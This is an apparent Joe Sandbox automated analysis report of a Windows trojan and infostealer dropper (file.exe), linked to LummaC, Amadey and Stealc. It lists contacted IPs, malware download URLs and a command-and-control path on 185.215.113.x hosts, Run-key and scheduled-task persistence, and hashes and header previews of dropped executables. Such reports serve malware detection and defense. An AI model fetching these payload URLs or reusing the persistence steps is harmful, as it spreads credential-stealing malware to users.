https://spocs.getpocket.com/	firefox.exe, 0000001F.00000002.3097336698.000001B33E9A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1725885278.00000000056A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/luma/random.exe)	skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/	firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/strings	firefox.exe, 0000001F.00000002.2954007485.000001B32C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://crl.certum.pl/ctsca2021.crl0o	skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.217.98.121:80	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exel	skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpG	skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tsn.ca	firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
41.216.183.61	unknown	South Africa	40676	AS40676US	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	youtube.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545806
Start date and time:	2024-10-31 03:02:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@53/27@49/13
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.11.191.138, 35.160.212.113, 54.185.230.140
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target VG65QSLZVUGSLKDE78EZSIIG.exe, PID 7976 because it is empty
Execution Graph export aborted for target file.exe, PID 7304 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1544 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8172 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:03:36	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
02:04:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 70bf1463df.exe C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe
02:04:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e90585a72a.exe C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe
02:05:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 384a543dd0.exe C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe
02:05:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002767001\num.exe
22:02:57	API Interceptor	45x Sleep call for process: file.exe modified
22:04:01	API Interceptor	876x Sleep call for process: skotes.exe modified
22:04:25	API Interceptor	11x Sleep call for process: 70bf1463df.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.remote-settings.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
contile.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3 188.114.96.3
	HLZwUhcJ28.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3 188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NSXWT8JG74T0IR99MSITIVFVWS7V.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1341360
Entropy (8bit):	7.6705687436026055
Encrypted:	false
SSDEEP:	24576:8/0AlqaB5TXKYSo4m/vup8Lb7nygnVD+LaH:P345TXT/vup8LnygB+aH
MD5:	61162ABF98861E7E3176DF82D232523E
SHA1:	3F2EB1C68E088FCCB1B33577DC5FBC491E29EFD6
SHA-256:	E552849B11E4C38DF89416FCEE9110FDCDBBA56B66ED3C18113C428E842DE0F3
SHA-512:	1524F16485B77EDDAFB5525233CCD88795B2B4B80A6BAC786BDA58A163F3BEE0188DFA3AEE7DF8352768C9321720FD5AC0175010B66645A3A22B0584DE541A12
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...T."g............................n.... ........@.. ....................................`................................. ...K.......T............N...)........................................................... ............... ..H............text...t.... ...................... ..`.rsrc...T...........................@..@.reloc...............L..............@..B................P.......H.......................d...M...............................................(.......(.....0.......... ........8........E....6...........81...~....%9....86...& ....~s...{....:....& ....8....~..........s....%.....s....(.... ....~s...{....:....& ....8z...&~..........~......s...........(.....0..f....... ........8........E........#...........z...0...V...........M...........v...........!.......>...Z...........8....... ....8......94... ....8......(....o....:z... ....8i...8S.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2145792
Entropy (8bit):	7.959409970299355
Encrypted:	false
SSDEEP:	49152:1XaI8Bt0FBDoHKt9XPk8m0IxlHlIoooTN/bx6U9S:1X3eQBDog9XPL+aG5zx6U
MD5:	08093CA094E4BD396C0A1202363CE047
SHA1:	EA36EC8698C53B8542DA008357F3D8BF8FDB6E67
SHA-256:	F038C0CA2A82CE96F8FE33C5F458E0CBD043F96559795B93C1CBF411C3017C13
SHA-512:	D588F64C60124C1F9365BE5AA88685360F337FCA2E11B2742F60596AD9CDACF96E281409580E8B1C3636EA710C2730D497788A3E5B26965AF3A9C4391DE29D14
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@.......................... s.....'.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .0*.........................@...wcmalsok......X.....................@...lajdpeqi......r....... .............@....taggant.0....r..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.58467894034033
Encrypted:	false
SSDEEP:	12288:JqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tf:JqDEvCTbMWu7rQYlBQcBiT6rprG8abf
MD5:	F75D194E93D6D5623177EF886053C197
SHA1:	612A46E69761FEB1A44ADD24AD6D760F3B6FA6CD
SHA-256:	86D0C493A79667FB6A9D7F24C0373924B582C8F2DB797666DF9324678AF02F9B
SHA-512:	CB7682A138B77D21308FE040F8E8BBB0912BBE0323916CFB816FD5B346917F9784FDC4B386546014D1C0CAD9FFE39BA1ED89BA94CFE8F2B86154AC6AB405CE03
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`......U.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3039744
Entropy (8bit):	6.531769276457236
Encrypted:	false
SSDEEP:	49152:MZOVnQtnEMy3uzSAhDTxZ1HCVjcSMDCDBgk2D0e02Z0wCY6DL:DVnanEf3uzfhTr15k2D0e02Zr63
MD5:	EC6BF4A264E7EF670873EF017D9F1C00
SHA1:	1264FCB7C7BA47274B84479176B5D4408B5A28FB
SHA-256:	2AB02DE37A3EF20DFF2ABB365711AABE7E99858C43E7EB0A2B88B8928EE3A327
SHA-512:	EA776D175660ADDC20B34075918FA58D69A7393B6077D5F28CA7750C63DB70E4C70D088464374348823D09925248FB9B3B80BA57BEA6563B5FD8B8D4EC07E8FF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
